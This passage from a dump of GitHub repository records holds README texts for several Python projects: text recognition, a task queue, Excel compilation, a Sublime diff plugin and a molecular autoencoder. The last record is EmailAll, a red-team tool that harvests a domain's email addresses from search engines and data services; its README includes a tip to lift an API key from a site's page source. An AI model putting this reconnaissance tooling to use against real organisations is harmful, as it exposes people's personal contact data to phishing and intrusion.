network](https://arxiv.org/abs/1603.03915)\n\nSmall-SATRN: [On Recognizing Texts of Arbitrary Shapes with 2D Self-Attention](https://arxiv.org/abs/1910.04396), \ntraining phase is case sensitive while testing phase is case insensitive.\n\nAVERAGE : Average accuracy over all test datasets\n\nCASE SENSITIVE : If true, the output is case sensitive and contain common characters.\nIf false, the output is not case sensetive and contains only numbers and letters. \n\n## Installation\n### Requirements\n\n- Linux\n- Python 3.6+\n- PyTorch 1.4.0 or higher\n- CUDA 9.0 or higher\n\nWe have tested the following versions of OS and softwares:\n\n- OS: Ubuntu 16.04.6 LTS\n- CUDA: 10.2\n- Python 3.6.9\n- PyTorch: 1.5.1\n\n### Install vedastr\n\n1. Create a conda virtual environment and activate it.\n\n```shell\nconda create -n vedastr python=3.6 -y\nconda activate vedastr\n```\n\n2. Install PyTorch and torchvision following the [official instructions](https://pytorch.org/),\n *e.g.*,\n\n```shell\nconda install pytorch torchvision -c pytorch\n```\n\n3. Clone the vedastr repository.\n\n```shell\ngit clone https://github.com/Media-Smart/vedastr.git\ncd vedastr\nvedastr_root=${PWD}\n```\n\n4. Install dependencies.\n\n```shell\npip install -r requirements.txt\n```\n\n## Prepare data\n1. Download Lmdb data from [deep-text-recognition-benchmark](https://github.com/clovaai/deep-text-recognition-benchmark),\n which contains training, validation and evaluation data. \n **Note: we use the ST dataset released by [ASTER](https://github.com/ayumiymk/aster.pytorch#data-preparation).**  \n\n2. Make directory data as follows:\n\n```shell\ncd ${vedastr_root}\nmkdir ${vedastr_root}/data\n```\n\n3. Put the download LMDB data into this data directory, the structure of data directory will look like as follows: \n\n```shell\ndata\n\u2514\u2500\u2500 data_lmdb_release\n    \u251c\u2500\u2500 evaluation\n    \u251c\u2500\u2500 training\n    \u2502\u00a0\u00a0 \u251c\u2500\u2500 MJ\n    \u2502\u00a0\u00a0 \u2502\u00a0\u00a0 \u251c\u2500\u2500 MJ_test\n    \u2502\u00a0\u00a0 \u2502\u00a0\u00a0 \u251c\u2500\u2500 MJ_train\n    \u2502\u00a0\u00a0 \u2502\u00a0\u00a0 \u2514\u2500\u2500 MJ_valid\n    \u2502\u00a0\u00a0 \u2514\u2500\u2500 ST\n    \u2514\u2500\u2500 validation\n```\n\n\n\n## Train\n\n1. Config\n\nModify configuration files in [configs/](configs) according to your needs(e.g. [configs/tps_resnet_bilstm_attn.py](configs/tps_resnet_bilstm_attn.py)). \n\n2. Run\n\n```shell\n# train using GPUs with gpu_id 0, 1, 2, 3\npython tools/train.py configs/tps_resnet_bilstm_attn.py \"0, 1, 2, 3\" \n```\n\nSnapshots and logs by default will be generated at `${vedastr_root}/workdir/name_of_config_file`(you can specify workdir in config files).\n\n## Test\n\n1. Config\n\nModify configuration as you wish(e.g. [configs/tps_resnet_bilstm_attn.py](configs/tps_resnet_bilstm_attn.py)).\n\n2. Run\n\n```shell\n# test using GPUs with gpu_id 0, 1\n./tools/dist_test.sh configs/tps_resnet_bilstm_attn.py path/to/checkpoint.pth \"0, 1\" \n```\n\n## Inference\n1. Run\n\n```shell\n# inference using GPUs with gpu_id 0\npython tools/inference.py configs/tps_resnet_bilstm_attn.py checkpoint_path img_path \"0\"\n```\n\n## Deploy\n1. Install [volksdep](https://github.com/Media-Smart/volksdep) following the \n[official instructions](https://github.com/Media-Smart/volksdep#installation)\n\n2. Benchmark (optional)\n```python\n# Benchmark model using GPU with gpu_id 0\nCUDA_VISIBLE_DEVICES=\"0\" python tools/benchmark.py configs/resnet_ctc.py checkpoint_path out_path --dummy_input_shape \"3,32,100\"\n```\n\nMore available arguments are detailed in [tools/deploy/benchmark.py](https://github.com/Media-Smart/vedastr/blob/master/tools/deploy/benchmark.py).\n\nThe result of resnet_ctc is as follows(test device: Jetson AGX Xavier, CUDA:10.2):\n\n| framework  |  version   |     input shape      |         data type         |   throughput(FPS)    |   latency(ms)   |\n|   :---:    |   :---:    |        :---:         |           :---:           |        :---:         |      :---:      |\n|  PyTorch   |   1.5.0    |   (1, 1, 32, 100)    |           fp32            |          64          |      15.81      |\n|  TensorRT  |  7.1.0.16  |   (1, 1, 32, 100)    |           fp32            |         109          |      9.66       |\n|  PyTorch   |   1.5.0    |   (1, 1, 32, 100)    |           fp16            |         113          |      10.75      |\n|  TensorRT  |  7.1.0.16  |   (1, 1, 32, 100)    |           fp16            |         308          |      3.55       |\n|  TensorRT  |  7.1.0.16  |   (1, 1, 32, 100)    |      int8(entropy_2)      |         449          |      2.38       |\n\n\n\n3. Export model to ONNX format\n\n```python\n# export model to onnx using GPU with gpu_id 0\nCUDA_VISIBLE_DEVICES=\"0\" python tools/torch2onnx.py configs/resnet_ctc.py checkpoint_path --dummy_input_shape \"3,32,100\" --dynamic_shape\n```\n\n  More available arguments are detailed in [tools/torch2onnx.py](https://github.com/Media-Smart/vedastr/blob/master/tools/torch2onnx.py).\n\n4. Inference SDK\n\n  You can refer to [FlexInfer](https://github.com/Media-Smart/flexinfer) for details.\n\n## Citation\n\nIf you use this toolbox or benchmark in your research, please cite this project.\n\n```\n@misc{2020vedastr,\n    title  = {vedastr: A Toolbox for Scene Text Recognition},\n    author = {Sun, Jun and Cai, Hongxiang and Xiong, Yichao},\n    url    = {https://github.com/Media-Smart/vedastr},\n    year   = {2020}\n}\n```\n\n## Contact\n\nThis repository is currently maintained by Jun Sun([@ChaseMonsterAway](https://github.com/ChaseMonsterAway)), Hongxiang Cai ([@hxcai](http://github.com/hxcai)), Yichao Xiong ([@mileistone](https://github.com/mileistone)).\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "procrastinate-org/procrastinate", "link": "https://github.com/procrastinate-org/procrastinate", "tags": ["task-queue", "postgresql", "python", "sync", "async"], "stars": 503, "description": "PostgreSQL-based Task Queue for Python", "lang": "Python", "repo_lang": "", "readme": "Procrastinate: PostgreSQL-based Task Queue for Python\n=====================================================\n\n.. image:: https://img.shields.io/pypi/v/procrastinate?logo=pypi&logoColor=white\n    :target: https://pypi.org/pypi/procrastinate\n    :alt: Deployed to PyPI\n\n.. image:: https://img.shields.io/pypi/pyversions/procrastinate?logo=pypi&logoColor=white\n    :target: https://pypi.org/pypi/procrastinate\n    :alt: Deployed to PyPI\n\n.. image:: https://img.shields.io/github/stars/procrastinate-org/procrastinate?logo=github\n    :target: https://github.com/procrastinate-org/procrastinate/\n    :alt: GitHub Repository\n\n.. image:: https://img.shields.io/github/actions/workflow/status/procrastinate-org/procrastinate/ci.yml?logo=github&branch=main\n    :target: https://github.com/procrastinate-org/procrastinate/actions?workflow=CI\n    :alt: Continuous Integration\n\n.. image:: https://img.shields.io/readthedocs/procrastinate?logo=read-the-docs&logoColor=white\n    :target: http://procrastinate.readthedocs.io/en/latest/?badge=latest\n    :alt: Documentation\n\n.. image:: https://img.shields.io/endpoint?logo=codecov&logoColor=white&url=https://raw.githubusercontent.com/wiki/procrastinate-org/procrastinate/python-coverage-comment-action-badge.json\n    :target: https://github.com/marketplace/actions/python-coverage-comment\n    :alt: Coverage\n\n.. image:: https://img.shields.io/github/license/procrastinate-org/procrastinate?logo=open-source-initiative&logoColor=white\n    :target: https://github.com/procrastinate-org/procrastinate/blob/main/LICENSE\n    :alt: MIT License\n\n.. image:: https://img.shields.io/badge/Contributor%20Covenant-v1.4%20adopted-ff69b4.svg\n    :target: https://github.com/procrastinate-org/procrastinate/blob/main/CODE_OF_CONDUCT.md\n    :alt: Contributor Covenant\n\n\nProcrastinate is an open-source Python 3.7+ distributed task processing\nlibrary, leveraging PostgreSQL to store task definitions, manage locks and\ndispatch tasks. It can be used within both sync and async code.\n\nIn other words, from your main code, you call specific functions (tasks) in a\nspecial way and instead of being run on the spot, they're scheduled to\nbe run elsewhere, now or in the future.\n\nHere's an example:\n\n.. code-block:: python\n\n    # mycode.py\n    import procrastinate\n\n    # Make an app in your code\n    app = procrastinate.App(connector=procrastinate.AiopgConnector())\n\n    # Then define tasks\n    @app.task(queue=\"sums\")\n    def sum(a, b):\n        with open(\"myfile\", \"w\") as f:\n            f.write(str(a + b))\n\n    with app.open():\n        # Launch a job\n        sum.defer(a=3, b=5)\n\n        # Somewhere in your program, run a worker (actually, it's often a\n        # different program than the one deferring jobs for execution)\n        app.run_worker(queues=[\"sums\"])\n\nThe worker will run the job, which will create a text file\nnamed ``myfile`` with the result of the sum ``3 + 5`` (that's ``8``).\n\nSimilarly, from the command line:\n\n.. code-block:: bash\n\n    export PROCRASTINATE_APP=\"mycode.app\"\n\n    # Launch a job\n    procrastinate defer mycode.sum '{\"a\": 3, \"b\": 5}'\n\n    # Run a worker\n    procrastinate worker -q sums\n\nLastly, you can use Procrastinate asynchronously too:\n\n.. code-block:: python\n\n    import asyncio\n\n    import procrastinate\n\n    # Make an app in your code\n    app = procrastinate.App(connector=procrastinate.AiopgConnector())\n\n    # Define tasks using coroutine functions\n    @app.task(queue=\"sums\")\n    async def sum(a, b):\n        await asyncio.sleep(a + b)\n\n    async with app.open_async():\n        # Launch a job\n        await sum.defer_async(a=3, b=5)\n\n        # Somewhere in your program, run a worker (actually, it's often a\n        # different program than the one deferring jobs for execution)\n        await app.run_worker_async(queues=[\"sums\"])\n\nThere are quite a few interesting features that Procrastinate adds to the mix.\nYou can head to the Quickstart section for a general tour or\nto the How-To sections for specific features. The Discussion\nsection should hopefully answer your questions. Otherwise,\nfeel free to open an `issue <https://github.com/procrastinate-org/procrastinate/issues>`_.\n\nThe project is still quite early-stage and will probably evolve.\n\n*Note to my future self: add a quick note here on why this project is named*\n\"Procrastinate_\".\n\n.. _Procrastinate: https://en.wikipedia.org/wiki/Procrastination\n\n.. Below this line is content specific to the README that will not appear in the doc.\n.. end-of-index-doc\n\nWhere to go from here\n---------------------\n\nThe complete docs_ is probably the best place to learn about the project.\n\nIf you encounter a bug, or want to get in touch, you're always welcome to open a\nticket_.\n\n.. _docs: http://procrastinate.readthedocs.io/en/latest\n.. _ticket: https://github.com/procrastinate-org/procrastinate/issues/new\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "dgorissen/pycel", "link": "https://github.com/dgorissen/pycel", "tags": [], "stars": 503, "description": "A library for compiling excel spreadsheets to python code & visualizing them as a graph", "lang": "Python", "repo_lang": "", "readme": "Pycel\n=====\n\n|build-state| |coverage| |requirements|\n\n|pypi| |pypi-pyversions| |repo-size| |code-size|\n\nPycel is a small python library that can translate an Excel spreadsheet into\nexecutable python code which can be run independently of Excel.\n\nThe python code is based on a graph and uses caching & lazy evaluation to\nensure (relatively) fast execution.  The graph can be exported and analyzed\nusing tools like `Gephi <http://www.gephi.org>`_. See the contained example\nfor an illustration.\n\nRequired python libraries:\n    `dateutil <https://dateutil.readthedocs.io/en/stable/>`_,\n    `networkx <https://networkx.github.io/>`_,\n    `numpy <https://www.numpy.org/>`_,\n    `openpyxl <https://openpyxl.readthedocs.io/en/stable/>`_,\n    `ruamel.yaml <https://yaml.readthedocs.io/en/latest/>`_, and optionally:\n    `matplotlib <https://matplotlib.org/>`_,\n    `pydot <https://github.com/pydot/pydot>`_\n\nThe full motivation behind pycel including some examples & screenshots is\ndescribed in this `blog post <http://elazungu.wordpress.com/2011/10/19/pycel-compiling-excel-spreadsheets-to-python-and-making-pretty-pictures>`_.\n\nUsage\n======\n\nDownload the library and run the example file.\n\n**Quick start:**\nYou can use binder to see and explore the tool quickly and interactively in the\nbrowser: |notebook|\n\n**The good:**\n\nAll the main mathematical functions (sin, cos, atan2, ...) and operators\n(+,/,^, ...) are supported as are ranges (A5:D7), and functions like\nMIN, MAX, INDEX, LOOKUP, and LINEST.\n\nThe codebase is small, relatively fast and should be easy to understand\nand extend.\n\nI have tested it extensively on spreadsheets with 10 sheets & more than\n10000 formulae.  In that case calculation of the equations takes about 50ms\nand agrees with Excel up to 5 decimal places.\n\n**The bad:**\n\nMy development is driven by the particular spreadsheets I need to handle so\nI have only added support for functions that I need.  However, it is should be\nstraightforward to add support for others.\n\nThe code does currently support cell references so a function like OFFSET works,\nbut suffers from the fact that if a cell is not already compiled in, then the\nfunction can fail.  Also, for obvious reasons, any VBA code is not compiled\nbut needs to be re-implemented manually on the python side.\n\n**The Ugly:**\n\nThe resulting graph-based code is fast enough for my purposes but to make it\ntruly fast you would probably replace the graph with a dependency tracker\nbased on sparse matrices or something similar.\n\nExcel Addin\n===========\n\nIt's possible to run pycel as an excel addin using\n`PyXLL <http://www.pyxll.com/>`_. Simply place pyxll.xll and pyxll.py in the\nlib directory and add the xll file to the Excel Addins list as explained in\nthe pyxll documentation.\n\nAcknowledgements\n================\n\nThis code was originally made possible thanks to the python port of\nEric Bachtal's `Excel formula parsing code\n<http://ewbi.blogs.com/develops/popular/excelformulaparsing.html>`_\nby Robin Macharg.\n\nThe code currently uses a tokenizer of similar origin from the\n`openpyxl library.\n<https://foss.heptapod.net/openpyxl/openpyxl/-/tree/branch/default/openpyxl/formula/>`_\n\n.. Image links\n\n.. |build-state| image:: https://travis-ci.com/dgorissen/pycel.svg?branch=master\n  :target: https://travis-ci.com/dgorissen/pycel\n  :alt: Build Status\n\n.. |coverage| image:: https://codecov.io/gh/dgorissen/pycel/branch/master/graph/badge.svg\n  :target: https://codecov.io/gh/dgorissen/pycel/list/master\n  :alt: Code Coverage\n\n.. |pypi| image:: https://img.shields.io/pypi/v/pycel.svg\n  :target: https://pypi.org/project/pycel/\n  :alt: Latest Release\n\n.. |pypi-pyversions| image:: https://img.shields.io/pypi/pyversions/pycel.svg\n    :target: https://pypi.python.org/pypi/pycel\n\n.. |requirements| image:: https://requires.io/github/stephenrauch/pycel/requirements.svg?branch=master\n  :target: https://requires.io/github/stephenrauch/pycel/requirements/?branch=master\n  :alt: Requirements Status\n\n.. |repo-size| image:: https://img.shields.io/github/repo-size/dgorissen/pycel.svg\n  :target: https://github.com/dgorissen/pycel\n  :alt: Repo Size\n\n.. |code-size| image:: https://img.shields.io/github/languages/code-size/dgorissen/pycel.svg\n  :target: https://github.com/dgorissen/pycel\n  :alt: Code Size\n\n.. |notebook| image:: https://mybinder.org/badge.svg\n  :target: https://mybinder.org/v2/gh/dgorissen/pycel/master?filepath=notebooks%2Fexample.ipynb\n  :alt: Open Notebook\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "colinta/SublimeFileDiffs", "link": "https://github.com/colinta/SublimeFileDiffs", "tags": [], "stars": 503, "description": "Show diffs between the current file, or selection(s) in the current file, and clipboard, another file, or unsaved changes.", "lang": "Python", "repo_lang": "", "readme": "FileDiffs Plugin\n================\n\nShows diffs between the current file, or selection(s) in the current file, and clipboard, another file, or unsaved changes. Can be configured to show diffs in an external diff tool\n\n## Preview\n\n![Preview](https://github.com/ildarkhasanshin/SublimeFileDiffs/raw/master/preview_1.png)\n\n![Preview](https://github.com/ildarkhasanshin/SublimeFileDiffs/raw/master/preview_2.png)\n\n![Preview](https://github.com/ildarkhasanshin/SublimeFileDiffs/raw/master/preview_3.png)\n\n--------------\n\nHelp!\n-----\n\nCheck the [wiki][] for more tips\n\n[wiki]: https://github.com/colinta/SublimeFileDiffs/wiki\n\nInstallation\n------------\n\n### Package Control (Easiest)\n\n1. Using Package Control, install `FileDiffs`\n\n2. Install keymaps for the commands (see Example.sublime-keymap for my preferred keys)\n\n### Sublime Text 3\n\n1. Open the Sublime Text Packages folder\n    - OS X: `~/Library/Application Support/Sublime Text 3/Packages/`\n    - Windows: `%APPDATA%/Sublime Text 3/Packages/`\n    - Linux: `~/.Sublime Text 3/Packages/` or `~/.config/sublime-text-3/Packages`\n\n2. Clone this repo\n\n    ```\n    # Over SSH\n    git clone git@github.com:colinta/SublimeFileDiffs\n\n    # Over HTTPS\n    git clone https://github.com/colinta/SublimeFileDiffs.git\n    ```\n\n3. Install keymaps for the commands (see Example.sublime-keymap for my preferred keys)\n\n### Sublime Text 2\n\n1. Open the Sublime Text 2 Packages folder\n2. Clone this repo, but use the `st2` branch\n\n    ```\n    # Over SSH\n    git clone -b st2 git@github.com:colinta/SublimeFileDiffs\n\n    # Over HTTPS\n    git clone -b st2 https://github.com/colinta/SublimeFileDiffs.git\n    ```\n\nAdd External Diff Tool *(optional)*\n--------\n\n(IMPORTANT: You might need to make a symlink (e.g. in /usr/local/bin) pointing to the command line tool of your external diff tool)\n\n1. Preferences > Package Settings > FileDiffs > Settings - Default\n\n2. Uncomment one of the examples or write your own command to open external diff tool.\n\n   This command *may* need to be a full path (e.g. `/usr/local/bin/ksdiff`), if the command isn't in your `PATH`.\n\nIt supports:\n\n-   A generic setting `FileDiffs.sublime-settings` which could be overloaded for each parameter in a platform specific configuration `FileDiffs ($platform).sublime-settings` in the `Settings - User`\n-   Environment variable expansions for `cmd` parameter in the settings\n\n\nCommands\n--------\n\n`file_diff_menu`: Shows a menu to select one of the file_diff commands.  If you use the bindings in Example.sublime-keymap, this is bound to `ctrl+shift+d`.\n\nThe rest of the commands do not need to be bound (accessible from the menu):\n\n`file_diff_clipboard`: Shows the diff of the current file or selection(s) and the clipboard (the clipboard is considered the \"new\" file unless `reverse` is True)\n\n`file_diff_selections`: Shows the diff of the first and second selected regions.  The file_diff_menu command checks for exactly two regions selected, otherwise it doesn't display this command.\n\n`file_diff_saved`: Shows the diff of the current file or selection(s) and the saved file.\n\n`file_diff_file`: Shows the diff of the current file or selection(s) and a file that is in the current project.\n\n`file_diff_tab`: Shows the diff of the current file or selection(s) and an open file (aka a file that has a tab).\n\n`file_diff_previous`: Shows the diff of the current file or selection(s) and the previous activated file. If a file is not saved yet, dirty buffer is used instead of reading from disk.\n\nIf FileDiffs has to use temporary files, they are created in your `Data/Packages` folder (rather than system temp folder) due to privacy concerns for portable Sublime Text installations. Temporary files are automatically removed after 15 seconds.\n\nContributors\n------------\n\nThanks to:\n\n- **Sebastian Pape** for adding support for using an external diff tool\n- **Starli0n** for merging the ST2 and ST3 branches into one branch,\n- and for adding the \"Diff file with previous\" feature\n- **dnsmkl** for helping with diffing temporary files\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "maxhodak/keras-molecules", "link": "https://github.com/maxhodak/keras-molecules", "tags": [], "stars": 503, "description": "Autoencoder network for learning a continuous representation of molecular structures.", "lang": "Python", "repo_lang": "", "readme": "# A Keras implementation of Aspuru-Guzik's molecular autoencoder paper\n\n<table style=\"border-collapse: collapse\">\n<tr>\n<td style=\"vertical-align: top\" valign=\"top\">\n    <strong>Abstract from the paper</strong>\n    <p>We report a method to convert discrete representations of molecules to and from a multidimensional continuous representation. This generative model allows efficient search and optimization through open-ended spaces of chemical compounds.</p>\n    <p>We train deep neural networks on hundreds of thousands of existing chemical structures to construct two coupled functions: an encoder and a decoder. The encoder converts the discrete representation of a molecule into a real-valued continuous vector, and the decoder converts these continuous vectors back to the discrete representation from this latent space.</p>\n    <p>Continuous representations allow us to automatically generate novel chemical structures by performing simple operations in the latent space, such as decoding random vectors, perturbing known chemical structures, or interpolating between molecules. Continuous representations also allow the use of powerful gradient-based optimization to efficiently guide the search for optimized functional compounds. We demonstrate our method in the design of drug-like molecules as well as organic light-emitting diodes.</p>\n    <p>\n        <strong>Link to the paper</strong><br />\n        <a href=\"https://arxiv.org/abs/1610.02415\">arXiv</a>\n    </p>\n</td><td width=\"300\">\n<img src=\"images/network.png\" width=\"300\" /></img>\n</td>\n</tr>\n</table>\n\n## Requirements\n\nInstall using `pip install -r requirements.txt` or build a docker container: `docker build .`\n\nThe docker container can also be built different TensorFlow binary, for example in order to use GPU:\n\n`docker build --build-arg TF_BINARY_URL=https://storage.googleapis.com/tensorflow/linux/gpu/tensorflow-0.11.0rc1-cp27-none-linux_x86_64.whl .`\n\nYou'll need to ensure the proper CUDA libraries are installed for this version to work.\n\n## Getting the datasets\n\nA small 50k molecule dataset is included in `data/smiles_50k.h5` to make it easier to get started playing around with the model. A much larger 500k ChEMBL 21 extract is also included in `data/smiles_500k.h5`. A model trained on `smiles_500k.h5` is included in `data/model_500k.h5`.\n\nAll h5 files in this repo by [git-lfs](https://git-lfs.github.com/) rather than included directly in the repo.\n\nTo download original datasets to work with, you can use the `download_dataset.py` script:\n\n* `python download_dataset.py --dataset zinc12`\n* `python download_dataset.py --dataset chembl22`\n* `python download_dataset.py --uri http://my-domain.com/my-file.csv --outfile data/my-file.csv`\n\n## Preparing the data\n\nTo train the network you need a lot of SMILES strings. The `preprocess.py` script assumes you have an HDF5 file that contains a table structure, one column of which is named `structure` and contains one SMILES string no longer than 120 characters per row. The script then:\n\n- Normalizes the length of each string to 120 by appending whitespace as needed.\n- Builds a list of the unique characters used in the dataset. (The \"charset\")\n- Substitutes each character in each SMILES string with the integer ID of its location in the charset.\n- Converts each character position to a one-hot vector of len(charset).\n- Saves this matrix to the specified output file.\n\nExample:\n\n`python preprocess.py data/smiles_50k.h5 data/processed.h5`\n\n## Training the network\n\nThe preprocessed data can be fed into the `train.py` script:\n\n`python train.py data/processed.h5 model.h5 --epochs 20`\n\nIf a model file already exists it will be opened and resumed. If it doesn't exist, it will be created.\n\nBy default, the latent space is 292-D per the paper, and is configurable with the `--latent_dim` flag. If you use a non-default latent dimensionality don't forget to use `--latent_dim` on the other scripts (eg `sample.py`) when you operate on that model checkpoint file or it will be confused.\n\n## Sampling from a trained model\n\nThe `sample.py` script can be used to either run the full autoencoder (for testing) or either the encoder or decoder halves using the `--target` parameter. The data file must include a charset field.\n\nExamples:\n\n```\npython sample.py data/processed.h5 model.h5 --target autoencoder\n\npython sample.py data/processed.h5 model.h5 --target encoder --save_h5 encoded.h5\n\npython sample.py target/encoded.h5 model.h5 --target decoder\n```\n\n## Performance\n\nAfter 30 epochs on a 500,000 molecule extract from ChEMBL 21 (~7 hours on a NVIDIA GTX 1080), I'm seeing a loss of 0.26 and a reconstruction accuracy of 0.98.\n\nProjecting the dataset onto 2D latent space gives a figure that looks pretty reasonably like Figure 3 from the paper, though there are some strange striations and it's not quite as well spread out as the examples in the paper.\n\n<img src=\"images/latent_2d.png\" />\n", "readme_type": "markdown", "hn_comments": "This is the future of computational chemistry. The field of \"Molecular Dynamics\" could easily be swept aside by machine learning. It is why I switched from running \"Molecular Dynamic\" simulations as a graduate student to modelling genomic data with TensorFlow as a Postdoc.<HN_SEP>The author of the github repo doesn't seem to be an author on the ArXiv pre-print. Anyone knows why?<HN_SEP>The chart in the readme makes the text completely unreadable on mobile. I'd suggest putting it on top or bottom of the text.<HN_SEP>One of the authors of the original paper https://arxiv.org/abs/1610.02415 here.From a machine learning point of view, we simply glued together two techniques: text autoencoders and Bayesian optimization. That is, we trained an autoencoder to transform a text representation of chemicals (SMILES) to and from continuous vectors. Then \u201cchemical design\u201d is just maximizing a function of a continuous variable, something that we already know a lot about.We also showed off some of the nice things that one can do with continuous latent representations, such as interpolation. This had already been done for images by many people, and for text in https://arxiv.org/abs/1511.06349Of course, our paper is just a proof of concept. For instance, instead of encoding to and from SMILES, it would be much better to encode to and from graphs directly. We know how to encode graphs into vectors, but I don\u2019t know of a good way to decode a vector into a graph.Another open problem is that it\u2019s hard to know what to optimize. Our initial experiments optimizing for specific chemical properties produced suggested molecules with crazy structures, such as giant rings. Human chemists have a great intuition for what is easily synthesizable or stable, and it\u2019s hard to articulate all the properties we want the molecule to have programmatically. Alternatively, we could enforce the optimizer to only look at molecules similar to ones we\u2019ve already seen, but this is unsatisfying too - after all, the best result of exploration is when you find something unlike what you\u2019ve seen before.<HN_SEP>It might be interesting if there were some routine that could 'reverse-decode' drug-like properties, i.e. producing Lipinski's rule of 5 from nothing but \"drug-like\" and \"not-drug-like\" labeled training set.<HN_SEP>I did Computer Aided Drug Design for my undergrad. I wish I knew this<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Taonn/EmailAll", "link": "https://github.com/Taonn/EmailAll", "tags": ["information-gathering", "information-gathering-tools", "emailhunter", "osint-python", "python", "osint", "discovery", "emails", "redteam", "redteaming", "email-collector", "domain", "search-engine", "bugbounty", "email-", "security-tools", "bounty-hunting-tools", "hacking-tools"], "stars": 503, "description": "EmailAll is a powerful Email Collect tool \u2014 \u4e00\u6b3e\u5f3a\u5927\u7684\u90ae\u7bb1\u6536\u96c6\u5de5\u5177", "lang": "Python", "repo_lang": "", "readme": "<h1 align=\"center\" >EmailAll</h1>\n\n<h3 align=\"center\" > A powerful Email Collect tool</h3>\n\n## 0x1 \u4ecb\u7ecd\n\n:astonished: `EmailAll` is a powerful Email Collect tool \u2014\u2014 \u4e00\u6b3e\u5f3a\u5927\u7684\u90ae\u7bb1\u6536\u96c6\u5de5\u5177\n\n![example1](img/example1.png)\n\n![example2](img/example2.png)\n\n![PhoneBook&Snov_result](img/PhoneBook&Snov_result.png)\n\n## 0x2 \u5b89\u88c5&\u4f7f\u7528\n\n```bash\n$ git clone https://github.com/Taonn/EmailAll.git\n$ cd EmailAll\n$ pip3 install -r requirements.txt\n```\n\n```python\nEmailAll is a powerful Email Collect tool\n\nExample:\n    python3 emailall.py check\n    python3 emailall.py --domain example.com run\n    python3 emailall.py --domains ./domains.txt run\n```\n\n` python3 emailall.py --domain example.com run`\n\n`python3 emailall.py --domains ./domains.txt run`\n\n\u6700\u7ec8\u7ed3\u679c\u4fdd\u5b58\u81f3`result`\u76ee\u5f55\uff0c\u5206\u4e3a\u4e0d\u540c\u6a21\u5757json\u6570\u636e\u6587\u4ef6\u548c\u6c47\u603b`{domain}_All.json`\u6587\u4ef6\n\n## 0x3 \u914d\u7f6e\n\nproxy\u914d\u7f6e\u5728 [setting.py](config/setting.py)\u6587\u4ef6\n\n```python\nproxy={'http': '127.0.0.1:2333', 'https': '127.0.0.1:2333'}\n```\n\nAPI\u914d\u7f6e\u5728 [api.py](config/api.py)\u6587\u4ef6\n\n```python\n# http://www.veryvp.com/\nveryvp_username = ''\nveryvp_password = ''\n\n# https://www.github.com\ngithub_token = ''\n\n# https://app.snov.io/\nsnov_username = ''\nsnov_password = ''\n\n# https://phonebook.cz/\npb_key = ''\n```\n\n- `veryvp`\u548c`snov`\u53bb\u7f51\u7ad9\u514d\u8d39\u6ce8\u518c\n- `GitHub`\u7684token\u53bb\u8bbe\u7f6e\u91cc\u521b\u5efa\u4e00\u4e2a\u5373\u53ef\n- `phonebook`\u7684key\u8bbf\u95eehttps://phonebook.cz/\u7136\u540e\u67e5\u770b\u6e90\u4ee3\u7801\uff0c\u5c06`API_KEY`\u7684\u503c\u586b\u5165\u5373\u53ef\n\n## 0x4 \u6a21\u5757\n\n\u90ae\u7bb1\u4fe1\u606f\u6536\u96c6\u4e3b\u8981\u6765\u6e90\u5982\u4e0b\uff1a\n\n- Search\n  - Ask\n  - Baidu\n  - Bing\n  - Google\n  - QWant\n  - SO\n  - Sougou\n  - GithubApi\n- DataSets\n  - Email-Format\n  - Skymem\n  - Veryvp\n  - PhoneBook\n  - Snov\n\n### 2022.2.19\n\n\u66f4\u65b0PhoneBook\u3001Snov\u6a21\u5757\n\n![PhoneBook&Snov_result](img/PhoneBook&Snov.png)\n\n![PhoneBook&Snov_result](img/PhoneBook&Snov_result.png)\n\n### 2022.2.16\n\n\u66f4\u65b0GithubApi\u6a21\u5757\n\n![githubapi](img/githubapi.png)\n\n> \u540e\u7eed\u8fd8\u4f1a\u66f4\u65b0~\n\n\u66f4\u591a\u4fe1\u606f\u8bf7\u5173\u6ce8[changes.md](docs/changes.md)\n\n## 0x5 \u53c2\u8003\n\n\u53c2\u8003\u4e86\u4ee5\u4e0b\u4f18\u79c0\u7684\u5de5\u5177\uff0c\u5e76\u4fee\u6539\u800c\u6765:\n\n- https://github.com/shmilylty/OneForAll\n- https://github.com/laramies/theHarvester\n- https://github.com/m4ll0k/Infoga\n\n\u611f\u8c22\u8fd9\u4e9b\u5e08\u5085\u4eec\u7684\u5206\u4eab\uff01\uff01\uff01\n\n## 0x6 \u611f\u8c22\n\n\u611f\u8c22\u7f51\u4e0a\u5f00\u6e90\u7684\u5404\u5927\u9879\u76ee\uff01\uff01\uff01\n\n- \u7279\u522b\u611f\u8c22[Se7en](https://github.com/r00tSe7en)\u5e08\u5085\u5bf9\u4e8e\u63a5\u53e3\u7684\u8865\u5145\n\n## 0x7 \u514d\u8d23\u58f0\u660e\n\n\u200b\t\u672c\u5de5\u5177\u4ec5\u80fd\u5728\u53d6\u5f97\u8db3\u591f\u5408\u6cd5\u6388\u6743\u7684\u4f01\u4e1a\u5b89\u5168\u5efa\u8bbe\u4e2d\u4f7f\u7528\uff0c\u5728\u4f7f\u7528\u672c\u5de5\u5177\u8fc7\u7a0b\u4e2d\uff0c\u60a8\u5e94\u786e\u4fdd\u81ea\u5df1\u6240\u6709\u884c\u4e3a\u7b26\u5408\u5f53\u5730\u7684\u6cd5\u5f8b\u6cd5\u89c4\u3002 \u5982\u60a8\u5728\u4f7f\u7528\u672c\u5de5\u5177\u7684\u8fc7\u7a0b\u4e2d\u5b58\u5728\u4efb\u4f55\u975e\u6cd5\u884c\u4e3a\uff0c\u60a8\u5c06\u81ea\u884c\u627f\u62c5\u6240\u6709\u540e\u679c\uff0c\u672c\u5de5\u5177\u6240\u6709\u5f00\u53d1\u8005\u548c\u6240\u6709\u8d21\u732e\u8005\u4e0d\u627f\u62c5\u4efb\u4f55\u6cd5\u5f8b\u53ca\u8fde\u5e26\u8d23\u4efb\u3002 